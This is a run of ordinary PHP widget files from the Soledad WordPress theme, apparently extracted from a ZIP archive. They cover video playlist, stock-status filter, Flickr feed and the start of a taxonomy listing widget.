                        <div class="penci-video-play">
                            <?php foreach ((array)$videos_list as $key => $video): ?>
                                <?php
                                if ($key > 0) {
                                    continue;
                                }
                                ?>
                                <div class="fluid-width-video-wrapper">
                                    <iframe class="penci-video-frame"
                                            id="video-<?php echo esc_attr($rand_video_list) ?>-1"
                                            src="<?php echo esc_attr($video['id']) ?>" width="339"
                                            height="191"></iframe>
                                </div>
                            <?php endforeach; ?>
                        </div>
                        <div class="penci-video-nav">
                            <?php if ($title && $settings['video_list_title']): ?>
                                <div class="penci-playlist-title">
                                    <div class="playlist-title-icon"><?php penci_fawesome_icon('fas fa-play'); ?></span></div>
                                    <h2><?php echo $title; ?></h2>
                                    <span class="penci-videos-number">
								<span class="penci-video-playing">1</span> /
								<span class="penci-video-total"><?php echo($videos_count) ?></span>
										<?php
                                        if (function_exists('penci_get_tran_setting')) {
                                            echo penci_get_tran_setting('penci_social_video_text');
                                        } else {
                                            esc_html_e('Videos', 'soledad');
                                        }
                                        ?>
								</span>
                                </div>
                            <?php endif; ?>
                            <?php
                            $class_nav = (!empty($settings['title']) && $settings['video_list_title']) ? ' playlist-has-title' : '';
                            $class_nav .= $videos_count > 3 ? ' penci-custom-scroll' : '';

                            $direction = is_rtl() ? ' dir="rtl"' : '';
                            ?>
                            <div class="penci-video-playlist-nav<?php echo esc_attr($class_nav); ?>"<?php echo($direction); ?>>
                                <?php
                                $video_number = 0;
                                foreach ($videos_list as $video):
                                    $video_number++;
                                    ?>
                                    <a data-name="video-<?php echo esc_attr($rand_video_list . '-' . $video_number) ?>"
                                       data-src="<?php echo esc_attr($video['id']) ?>"
                                       class="penci-video-playlist-item penci-video-playlist-item-<?php echo esc_attr($video_number); ?>">
							<span class="penci-media-obj">
								<span class="penci-mobj-img">
									<?php if (!$settings['hide_order_number']): ?>
                                        <span class="playlist-panel-item penci-video-number"><?php echo esc_attr($video_number) ?></span>
                                        <span class="playlist-panel-item penci-video-play-icon"><?php penci_fawesome_icon('fas fa-play'); ?></span>
                                        <span class="playlist-panel-item penci-video-paused-icon"><?php penci_fawesome_icon('fas fa-pause'); ?></span>
                                    <?php
                                    endif;
                                    $dis_lazy = get_theme_mod('penci_disable_lazyload_layout');
                                    if ($dis_lazy) {
                                        $class_lazy = ' penci-disable-lazy';
                                        $data_src = 'style="background-image: url(' . esc_url($video['thumb']) . ');"';
                                    } else {
                                        $class_lazy = ' penci-lazy';
                                        $data_src = 'data-bgset="' . esc_url($video['thumb']) . '"';
                                    }

                                    printf('<span class="penci-image-holder penci-video-thumbnail%s" %s><span class="screen-reader-text">%s</span></span>', $class_lazy, $data_src, esc_html__('Thumbnail youtube', 'soledad'));
                                    ?>
								</span>
								<span class="penci-mobj-body">
									<span class="penci-video-title"
                                          title="<?php echo esc_attr($video['title']); ?>"><?php echo wp_trim_words($video['title'], $settings['video_title_length'], '...'); ?></span>
									<?php if (!$settings['hide_duration']): ?>
                                        <span class="penci-video-duration"><?php echo esc_attr($video['duration']) ?></span>
                                    <?php endif; ?>
								</span>
							</span>
                                    </a>
                                <?php endforeach;
                                ?>
                            </div>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
            <?php
            echo $args['after_widget'];
        }

        /**
         * Update the widget settings.
         */
        function update($new_instance, $old_instance)
        {
            $instance = $old_instance;

            $data_instance = $this->soledad_widget_defaults();

            foreach ($data_instance as $data => $value) {
                $instance[$data] = !empty($new_instance[$data]) ? $new_instance[$data] : '';
            }

            return $instance;
        }

        public function soledad_widget_defaults()
        {
            $defaults = array(
                'title' => esc_html__('Video Playlist', 'soledad'),
                'video_type' => '',
                'yplaylist_id' => '',
                'yplaylist_limit' => 5,
                'videos_list' => '',
                'hide_duration' => '',
                'hide_order_number' => '',
                'video_list_title' => '',
                'video_title_length' => 10,
                'block_id' => rand(1000, 100000)
            );

            return $defaults;
        }

        function form($instance)
        {
            $defaults = $this->soledad_widget_defaults();
            $instance = wp_parse_args((array)$instance, $defaults);

            $instance_title = $instance['title'] ? str_replace('"', '&quot;', $instance['title']) : '';
            $video_title_length = isset($instance['video_title_length']) ? absint($instance['video_title_length']) : 10;
            $hide_duration = isset($instance['hide_duration']) ? (bool)$instance['hide_duration'] : false;
            $hide_order_number = isset($instance['hide_order_number']) ? (bool)$instance['hide_order_number'] : false;
            $video_list_title = isset($instance['video_list_title']) ? (bool)$instance['video_list_title'] : false;
            ?>

            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('title')); ?>">Block title:</label>
                <input id="<?php echo esc_attr($this->get_field_id('title')); ?>" class="widefat" type="text"
                       name="<?php echo esc_attr($this->get_field_name('title')); ?>"
                       value="<?php echo $instance_title; ?>">
                <span class="penci-widget-desc">A title for this block, if you leave it blank the block will not have a title</span>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('video_type')); ?>">Video Type:</label>
                <select id="<?php echo esc_attr($this->get_field_id('video_type')); ?>"
                        name="<?php echo esc_attr($this->get_field_name('video_type')); ?>"
                        class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ('' == $instance['video_type']) {
                        echo 'selected="selected"';
                    } ?>>Custom
                    </option>
                    <option value='youtube_playlist' <?php if ('youtube_playlist' == $instance['video_type']) {
                        echo 'selected="selected"';
                    } ?>>Youtube Playlist
                    </option>
                </select>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('yplaylist_id')); ?>">Youtube Playlist
                    ID</label>
                <input type="text" id="<?php echo esc_attr($this->get_field_id('yplaylist_id')); ?>" class="widefat"
                       name="<?php echo esc_attr($this->get_field_name('yplaylist_id')); ?>"
                       value="<?php echo $instance['yplaylist_id']; ?>">
                <span class="penci-widget-desc">Enter Youtube Playlist ID or Playlist URL.</span>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('yplaylist_limit')); ?>">Youtube Playlist
                    Maxium Items:</label>
                <input type="number" id="<?php echo esc_attr($this->get_field_id('yplaylist_limit')); ?>"
                       class="widefat"
                       name="<?php echo esc_attr($this->get_field_name('yplaylist_limit')); ?>"
                       value="<?php echo $instance['yplaylist_limit']; ?>">
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('videos_list')); ?>">Custom Videos List</label>
                <textarea id="<?php echo esc_attr($this->get_field_id('videos_list')); ?>" class="widefat"
                          name="<?php echo esc_attr($this->get_field_name('videos_list')); ?>"><?php echo $instance['videos_list']; ?></textarea>
                <span class="penci-widget-desc">Enter each video url in a seprated line. Supports: YouTube and Vimeo videos only.<br><span
                            style="color: red;font-weight: bold;">Note Important</span>: If  you use video come from youtube, please go to Customize &gt; General Options &gt; YouTube API Key and enter an api key.</span>
            </p>
            <p class="penci-field-item penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12">
                <label for="widget-penci-widget__videos_playlist-2-heading_meta_settings">Extra settings</label>
            </p>
            <p class="penci-field-item vc_col-sm-6">
                <label for="<?php echo esc_attr($this->get_field_id('video_list_title')); ?>">Use Video PlayList
                    Title</label>
                <input class="penci-checkbox" id="<?php echo esc_attr($this->get_field_id('video_list_title')); ?>"
                       name="<?php echo esc_attr($this->get_field_name('video_list_title')); ?>"
                       type="checkbox"<?php checked($video_list_title); ?>>
            </p>
            <p class="penci-field-item vc_col-sm-6">
                <label for="<?php echo esc_attr($this->get_field_id('hide_duration')); ?>">Hide video
                    duration</label>
                <input class="penci-checkbox" id="<?php echo esc_attr($this->get_field_id('hide_duration')); ?>"
                       name="<?php echo esc_attr($this->get_field_name('hide_duration')); ?>"
                       type="checkbox"<?php checked($hide_duration); ?>>
            </p>
            <p class="penci-field-item vc_col-sm-6">
                <label for="<?php echo esc_attr($this->get_field_id('hide_order_number')); ?>">Hide video order
                    number</label>
                <input class="penci-checkbox" id="<?php echo esc_attr($this->get_field_id('hide_order_number')); ?>"
                       name="<?php echo esc_attr($this->get_field_name('hide_order_number')); ?>"
                       type="checkbox"<?php checked($hide_order_number); ?>>
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('video_title_length')); ?>">Custom Title
                    Length:</label>
                <input id="<?php echo esc_attr($this->get_field_id('video_title_length')); ?>" class="widefat"
                       type="text" name="<?php echo esc_attr($this->get_field_name('video_title_length')); ?>"
                       value="<?php echo $video_title_length; ?>">
            </p>
            <p class="penci-field-item ">
                <label for="<?php echo esc_attr($this->get_field_id('block_id')); ?>">Unique ID for Save & Clear
                    Caching</label>
                <input id="<?php echo esc_attr($this->get_field_id('block_id')); ?>" class="widefat" type="text"
                       name="<?php echo esc_attr($this->get_field_name('block_id')); ?>"
                       value="<?php echo sanitize_text_field($instance['block_id']); ?>">
            </p>
            <?php
        }
    }
}
?>PK     N\k(  (  $  inc/widgets/product_stock_status.phpnu [        <?php
if ( ! class_exists( 'Penci_Stock_Status' ) ) {
	class Penci_Stock_Status extends WPH_Widget {
		function __construct() {

			$args = array(
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'Stock status', 'soledad' ),
				'description' => esc_html__( 'Filter stock and on-sale products', 'soledad' ),
				'slug'        => 'penci-widget-stock-status',
			);

			$args['fields'] = array(
				array(
					'id'      => 'title',
					'type'    => 'text',
					'default' => esc_html__( 'Stock status', 'soledad' ),
					'name'    => esc_html__( 'Title', 'soledad' ),
				),

				array(
					'id'      => 'instock',
					'type'    => 'checkbox',
					'default' => 1,
					'name'    => esc_html__( 'On Sale filter', 'soledad' ),
				),

				array(
					'id'      => 'onsale',
					'type'    => 'checkbox',
					'default' => 1,
					'name'    => esc_html__( 'In Stock filter', 'soledad' ),
				),
			);

			$this->create_widget( $args );
			$this->hooks();
		}

		function hooks() {
			add_action( 'woocommerce_product_query', array( $this, 'show_in_stock_products' ) );
			add_filter( 'loop_shop_post_in', array( $this, 'show_on_sale_products' ) );
		}

		public function show_in_stock_products( $query ) {
			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();
			if ( in_array( 'instock', $current_stock_status ) ) {
				$meta_query = array(
					'relation' => 'AND',
					array(
						'key'     => '_stock_status',
						'value'   => 'instock',
						'compare' => '=',
					),
				);

				$query->set( 'meta_query', array_merge( WC()->query->get_meta_query(), $meta_query ) );
			}
		}

		public function show_on_sale_products( $ids ) {
			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();
			if ( in_array( 'onsale', $current_stock_status ) ) {
				$ids = array_merge( $ids, penci_get_product_ids_on_sale() );
			}

			return $ids;
		}

		function get_link( $status ) {
			$base_link            = penci_shop_page_link( true );
			$link                 = remove_query_arg( 'stock_status', $base_link );
			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();
			$option_is_set        = in_array( $status, $current_stock_status );

			if ( ! in_array( $status, $current_stock_status ) ) {
				$current_stock_status[] = $status;
			}

			foreach ( $current_stock_status as $key => $value ) {
				if ( $option_is_set && $value === $status ) {
					unset( $current_stock_status[ $key ] );
				}
			}

			if ( $current_stock_status ) {
				asort( $current_stock_status );
				$link = add_query_arg( 'stock_status', implode( ',', $current_stock_status ), $link );
				$link = str_replace( '%2C', ',', $link );
			}

			return $link;
		}

		function widget( $args, $instance ) {
			extract( $args );

			echo wp_kses_post( $before_widget );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $before_title ) . $title . wp_kses_post( $after_title );
			}

			$current_stock_status = isset( $_GET['stock_status'] ) ? explode( ',', $_GET['stock_status'] ) : array();

			?>
            <ul>
				<?php if ( $instance['onsale'] ) : ?>
					<?php $this->get_link( 'onsale' ); ?>
                    <li>
                        <a href="<?php echo esc_attr( $this->get_link( 'onsale' ) ); ?>"
                           class="<?php echo in_array( 'onsale', $current_stock_status ) ? 'current-active' : ''; ?>">
							<?php esc_html_e( 'On sale', 'soledad' ); ?>
                        </a>
                    </li>
				<?php endif; ?>

				<?php if ( $instance['instock'] ) : ?>
					<?php $this->get_link( 'instock' ); ?>
                    <li>
                        <a href="<?php echo esc_attr( $this->get_link( 'instock' ) ); ?>"
                           class="<?php echo in_array( 'instock', $current_stock_status ) ? 'current-active' : ''; ?>">
							<?php esc_html_e( 'In stock', 'soledad' ); ?>
                        </a>
                    </li>
				<?php endif; ?>
            </ul>
			<?php

			echo wp_kses_post( $after_widget );
		}

		function form( $instance ) {
			parent::form( $instance );
		}
	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Stock_Status' );
	} );
}

PK     N\2A  A    inc/widgets/flickr.phpnu [        <?php
add_action( 'widgets_init', 'penci_flickr_feed_widget' );

if ( ! function_exists( 'penci_flickr_feed_widget' ) ) {
	function penci_flickr_feed_widget() {
		register_widget( 'Penci_Flickr_Feed_Widget' );
	}
}

if ( ! class_exists( 'Penci_Flickr_Feed_Widget' ) ) {
	class Penci_Flickr_Feed_Widget extends WP_Widget {

		protected $default;

		function __construct() {
			$this->default = array(
				'title'            => __( 'Flickr', 'soledad' ),
				'template'         => 'thumbs-no-border',
				'images_link'      => 'image_url',
				'username'         => '',
				'custom_url'       => '',
				'orderby'          => 'rand',
				'images_number'    => 9,
				'columns'          => 3,
				'refresh_hour'     => 12,
				'image_size'       => 'jr_insta_square',
				'image_link_rel'   => '',
				'image_link_class' => '',
				'controls'         => 'prev_next',
				'caption_words'    => 20,
				'slidespeed'       => 7000,
				'description'      => array( 'username', 'time', 'caption' ),
			);

			$widget_ops  = array(
				'classname'   => 'penci-flickr-slider',
				'description' => esc_html__( 'A widget that displays thumbnails or a slider with flickr images', 'soledad' )
			);
			$control_ops = array( 'id_base' => 'penci-flickr-slider' );

			parent::__construct( 'penci-flickr-slider', penci_get_theme_name( '.Soledad', true ) . ' ' . esc_html__( 'Flickr Feed', 'soledad' ), $widget_ops, $control_ops );

		}

		function widget( $args, $instance ) {
			$instance = wp_parse_args( $instance, $this->default );
			extract( $args );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			$title = apply_filters( 'widget_title', $instance['title'] );
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			require_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/flickr_feed.php';

			Penci_Flickr_Feed::display_images( $instance );

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$instance['title']            = isset( $new_instance['title'] ) && $new_instance['title'] ? $new_instance['title'] : '';
			$instance['username']         = isset( $new_instance['username'] ) && $new_instance['username'] ? $new_instance['username'] : '';
			$instance['template']         = isset( $new_instance['template'] ) && $new_instance['template'] ? $new_instance['template'] : '';
			$instance['images_link']      = isset( $new_instance['images_link'] ) && $new_instance['images_link'] ? $new_instance['images_link'] : '';
			$instance['custom_url']       = isset( $new_instance['custom_url'] ) && $new_instance['custom_url'] ? $new_instance['custom_url'] : '';
			$instance['orderby']          = isset( $new_instance['orderby'] ) && $new_instance['orderby'] ? $new_instance['orderby'] : '';
			$instance['images_number']    = isset( $new_instance['images_number'] ) && $new_instance['images_number'] ? $new_instance['images_number'] : '';
			$instance['columns']          = isset( $new_instance['columns'] ) && $new_instance['columns'] ? $new_instance['columns'] : '';
			$instance['refresh_hour']     = isset( $new_instance['refresh_hour'] ) && $new_instance['refresh_hour'] ? $new_instance['refresh_hour'] : '';
			$instance['image_size']       = isset( $new_instance['image_size'] ) && $new_instance['image_size'] ? $new_instance['image_size'] : '';
			$instance['image_link_rel']   = isset( $new_instance['image_link_rel'] ) && $new_instance['image_link_rel'] ? $new_instance['image_link_rel'] : '';
			$instance['image_link_class'] = isset( $new_instance['image_link_class'] ) && $new_instance['image_link_class'] ? $new_instance['image_link_class'] : '';
			$instance['controls']         = isset( $new_instance['controls'] ) && $new_instance['controls'] ? $new_instance['controls'] : '';
			$instance['caption_words']    = isset( $new_instance['caption_words'] ) && $new_instance['caption_words'] ? $new_instance['caption_words'] : '';
			$instance['slidespeed']       = isset( $new_instance['slidespeed'] ) && $new_instance['slidespeed'] ? $new_instance['slidespeed'] : '';
			$instance['description']      = isset( $new_instance['description'] ) && $new_instance['description'] ? $new_instance['description'] : '';

			return $instance;
		}

		function form( $instance ) {
			$instance       = wp_parse_args( $instance, $this->default );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$username       = $instance['username'] ? $instance['username'] : '';
			?>
            <div class="penci-flickr-container">
                <p>
                    <label for="<?php echo $this->get_field_id( 'title' ); ?>"><strong><?php _e( 'Title:', 'soledad' ); ?></strong></label>
                    <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>"
                           name="<?php echo $this->get_field_name( 'title' ); ?>"
                           value="<?php echo $instance_title; ?>"/>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'username' ); ?>"><strong><?php _e( 'Flickr ID:', 'soledad' ); ?></strong></label>
                    <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'username' ); ?>"
                           name="<?php echo $this->get_field_name( 'username' ); ?>"
                           value="<?php echo $username; ?>"/>
                    <span style="display: block;margin-top: 10px"><?php _e( 'The username ID follows this format: 12341234@N12. You can visit <a target="_blank" href="https://idgettr.com">idgettr.com</a> to convert the username into an ID.', 'soledad' ); ?></span>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_number' ); ?>"><strong><?php _e( 'Number of images to show:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'images_number' ); ?>"
                               name="<?php echo $this->get_field_name( 'images_number' ); ?>"
                               value="<?php echo $instance['images_number']; ?>"/>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"><strong><?php _e( 'Check for new images every:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'refresh_hour' ); ?>"
                               name="<?php echo $this->get_field_name( 'refresh_hour' ); ?>"
                               value="<?php echo $instance['refresh_hour']; ?>"/>
                        <span><?php _e( 'hours', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'template' ); ?>"><strong><?php _e( 'Template', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'template' ); ?>"
                                id="<?php echo $this->get_field_id( 'template' ); ?>">
                            <option value="thumbs-no-border" <?php echo ( $instance['template'] == 'thumbs-no-border' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails - Without Border', 'soledad' ); ?></option>
                            <option value="thumbs" <?php echo ( $instance['template'] == 'thumbs' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Thumbnails', 'soledad' ); ?></option>
                            <option value="slider" <?php echo ( $instance['template'] == 'slider' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Normal', 'soledad' ); ?></option>
                            <option value="slider-overlay" <?php echo ( $instance['template'] == 'slider-overlay' ) ? ' selected="selected"' : ''; ?>><?php _e( 'Slider - Overlay Text', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'thumbs' != $instance['template'] && 'thumbs-no-border' != $instance['template'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'columns' ); ?>"><strong><?php _e( 'Number of Columns:', 'soledad' ); ?></strong>
                        <input class="small-text" id="<?php echo $this->get_field_id( 'columns' ); ?>"
                               name="<?php echo $this->get_field_name( 'columns' ); ?>"
                               value="<?php echo $instance['columns']; ?>"/>
                        <span class='penci-description'><?php _e( 'max is 10 ( only for thumbnails template )', 'soledad' ); ?></span>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><strong><?php _e( 'Order by', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'orderby' ); ?>"
                                id="<?php echo $this->get_field_id( 'orderby' ); ?>">
                            <option value="date-ASC" <?php selected( $instance['orderby'], 'date-ASC', true ); ?>><?php _e( 'Date - Ascending', 'soledad' ); ?></option>
                            <option value="date-DESC" <?php selected( $instance['orderby'], 'date-DESC', true ); ?>><?php _e( 'Date - Descending', 'soledad' ); ?></option>
                            <option value="popular-ASC" <?php selected( $instance['orderby'], 'popular-ASC', true ); ?>><?php _e( 'Popularity - Ascending', 'soledad' ); ?></option>
                            <option value="popular-DESC" <?php selected( $instance['orderby'], 'popular-DESC', true ); ?>><?php _e( 'Popularity - Descending', 'soledad' ); ?></option>
                            <option value="rand" <?php selected( $instance['orderby'], 'rand', true ); ?>><?php _e( 'Random', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p>
                    <label for="<?php echo $this->get_field_id( 'images_link' ); ?>"><strong><?php _e( 'Link to', 'soledad' ); ?></strong>
                        <select class="widefat" name="<?php echo $this->get_field_name( 'images_link' ); ?>"
                                id="<?php echo $this->get_field_id( 'images_link' ); ?>">
                            <option value="image_url" <?php selected( $instance['images_link'], 'image_url', true ); ?>><?php _e( 'Flickr Image', 'soledad' ); ?></option>
                            <option value="user_url" <?php selected( $instance['images_link'], 'user_url', true ); ?>><?php _e( 'Flickr Profile', 'soledad' ); ?></option>
                            <option value="attachment" <?php selected( $instance['images_link'], 'attachment', true ); ?>><?php _e( 'Attachment Page', 'soledad' ); ?></option>
                            <option value="none" <?php selected( $instance['images_link'], 'none', true ); ?>><?php _e( 'None', 'soledad' ); ?></option>
                        </select>
                    </label>
                </p>
                <p class="<?php if ( 'custom_url' != $instance['images_link'] ) {
					echo 'hidden';
				} ?>">
                    <label for="<?php echo $this->get_field_id( 'custom_url' ); ?>"><?php _e( 'Custom link:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo $this->get_field_id( 'custom_url' ); ?>"
                           name="<?php echo $this->get_field_name( 'custom_url' ); ?>"
                           value="<?php echo $instance['custom_url']; ?>"/>
                    <span><?php _e( '* use this field only if the above option is set to <strong>Custom Link</strong>', 'soledad' ); ?></span>
                </p>
                <div class="penci-advanced-input">
                    <div class="penci-slider-options <?php if ( 'thumbs' == $instance['template'] || 'thumbs-no-border' == $instance['template'] ) {
						echo 'hidden';
					} ?>">
                        <h4 class="penci-advanced-title"><?php _e( 'Advanced Slider Options', 'soledad' ); ?></h4>
                        <p>
							<?php _e( 'Slider Navigation Controls:', 'soledad' ); ?><br>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="prev_next" <?php checked( 'prev_next', $instance['controls'] ); ?> /> <?php _e( 'Prev & Next', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="numberless" <?php checked( 'numberless', $instance['controls'] ); ?> /> <?php _e( 'Dotted', 'soledad' ); ?>
                            </label>
                            <label class="penci-radio"><input type="radio"
                                                              id="<?php echo $this->get_field_id( 'controls' ); ?>"
                                                              name="<?php echo $this->get_field_name( 'controls' ); ?>"
                                                              value="none" <?php checked( 'none', $instance['controls'] ); ?> /> <?php _e( 'No Navigation', 'soledad' ); ?>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'caption_words' ); ?>"><?php _e( 'Number of words in caption:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'caption_words' ); ?>"
                                       name="<?php echo $this->get_field_name( 'caption_words' ); ?>"
                                       value="<?php echo $instance['caption_words']; ?>"/>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'slidespeed' ); ?>"><?php _e( 'Slide Speed:', 'soledad' ); ?>
                                <input class="small-text" id="<?php echo $this->get_field_id( 'slidespeed' ); ?>"
                                       name="<?php echo $this->get_field_name( 'slidespeed' ); ?>"
                                       value="<?php echo $instance['slidespeed']; ?>"/>
                                <span><?php _e( 'milliseconds', 'soledad' ); ?></span>
                                <span class='penci-description'><?php _e( '1000 milliseconds = 1 second', 'soledad' ); ?></span>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Slider Text Description:', 'soledad' ); ?></label>
                            <select size=3 class='widefat' id="<?php echo $this->get_field_id( 'description' ); ?>"
                                    name="<?php echo $this->get_field_name( 'description' ); ?>[]" multiple="multiple">
                                <option value='username' <?php $this->selected( $instance['description'], 'username' ); ?>><?php _e( 'Username', 'soledad' ); ?></option>
                                <option value='time'<?php $this->selected( $instance['description'], 'time' ); ?>><?php _e( 'Time', 'soledad' ); ?></option>
                                <option value='caption'<?php $this->selected( $instance['description'], 'caption' ); ?>><?php _e( 'Caption', 'soledad' ); ?></option>
                            </select>
                            <span class="jr-description"><?php _e( 'Hold ctrl and click the fields you want to show/hide on your slider. Leave all unselected to hide them all. Default all selected.', 'soledad' ) ?></span>
                        </p>
                    </div>
                </div>
            </div>
			<?php
		}

		public function selected( $haystack, $current ) {

			if ( is_array( $haystack ) && in_array( $current, $haystack ) ) {
				selected( 1, 1, true );
			}
		}
	}
}
?>
PK     N\f_l  l     inc/widgets/taxonomy_listing.phpnu [        <?php

add_action( 'widgets_init', 'penci_taxonomy_listing_widget' );

function penci_taxonomy_listing_widget() {
	register_widget( 'penci_taxonomy_listing_widget' );
}

if ( ! class_exists( 'penci_taxonomy_listing_widget' ) ) {
	class penci_taxonomy_listing_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_taxonomy_listing_widget',
				'description' => esc_html__( 'A widget that displays the listing of the taxonomy terms.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_taxonomy_listing_widget' );

			parent::__construct( 'penci_taxonomy_listing_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Taxonomy Listing', 'soledad' ), $widget_ops, $control_ops );

		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) && $instance['title'] ? $instance['title'] : __( 'Taxonomy Listing', 'soledad' );
			$title = apply_filters( 'widget_title', $title );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			$settings         = $instance;
			$biggid_style     = isset( $settings['style'] ) ? $settings['style'] : 'style-1';
			$overlay_type     = isset( $settings['overlay_type'] ) ? $settings['overlay_type'] : 'whole';
			$bgcontent_pos    = isset( $settings['bgcontent_pos'] ) ? $settings['bgcontent_pos'] : 'on';
			$content_display  = isset( $settings['content_display'] ) ? $settings['content_display'] : 'block';
			$disable_lazy     = get_theme_mod( 'penci_disable_lazyload_layout' );
			$image_hover      = isset( $settings['image_hover'] ) ? $settings['image_hover'] : 'zoom-in';
			$text_overlay     = isset( $settings['text_overlay'] ) ? $settings['text_overlay'] : 'none';
			$text_overlay_ani = isset( $settings['text_overlay_ani'] ) ? $settings['text_overlay_ani'] : 'movetop';
			$onecol_mobile    = isset( $settings['onecol_mobile'] ) ? $settings['onecol_mobile'] : '';
			$sameh_mobile     = isset( $settings['sameh_mobile'] ) ? $settings['sameh_mobile'] : '';
			$thumb_size       = isset( $settings['thumb_size'] ) ? $settings['thumb_size'] : 'penci-masonry-thumb';
			$bthumb_size      = isset( $settings['bthumb_size'] ) ? $settings['bthumb_size'] : 'penci-full-thumb';
			$mthumb_size      = isset( $settings['mthumb_size'] ) ? $settings['mthumb_size'] : 'penci-masonry-thumb';
			$title_length     = isset( $settings['title_length'] ) ? $settings['title_length'] : 10;
			$excerpt_length   = isset( $settings['excerpt_length'] ) ? $settings['excerpt_length'] : 10;
			$text_overlay     = isset( $settings['text_overlay'] ) ? $settings['text_overlay'] : 'none';
			$text_overlay_ani = isset( $settings['text_overlay_ani'] ) ? $settings['text_overlay_ani'] : 'movetop';
			$image_hover      = isset( $settings['image_hover'] ) ? $settings['image_hover'] : 'zoom-in';

			$wrapper_class   = $data_class = '';
			$flag_style      = false;
			$clear_fix_class = 'penci-clearfix ';
			if ( $biggid_style == 'style-1' ) {
				$data_class .= ' penci-dflex';
			} else {
				$data_class .= ' penci-dblock';
			}

			if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
				$flag_style    = true;
				$data_class    .= ' penci-fixh';
				$bgcontent_pos = 'on';
			}

			$block_id = $this->id;

			$wrapper_class .= ' ' . $block_id;

			if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
				$bg_columns        = isset( $settings['bg_columns'] ) ? $settings['bg_columns'] : '3';
				$bg_columns_tablet = isset( $settings['bg_columns_tablet'] ) ? $settings['bg_columns_tablet'] : '';
				$bg_columns_mobile = isset( $settings['bg_columns_mobile'] ) ? $settings['bg_columns_mobile'] : '1';
				$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
				if ( $bg_columns_tablet ) {
					$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
				}
				$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
			}

			$wrapper_class .= ' penci-bgrid-based-custom penci-bgrid-custom penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
			if ( $flag_style && $onecol_mobile ) {
				$wrapper_class .= ' penci-bgrid-monecol';
			}
			if ( $flag_style && $sameh_mobile ) {
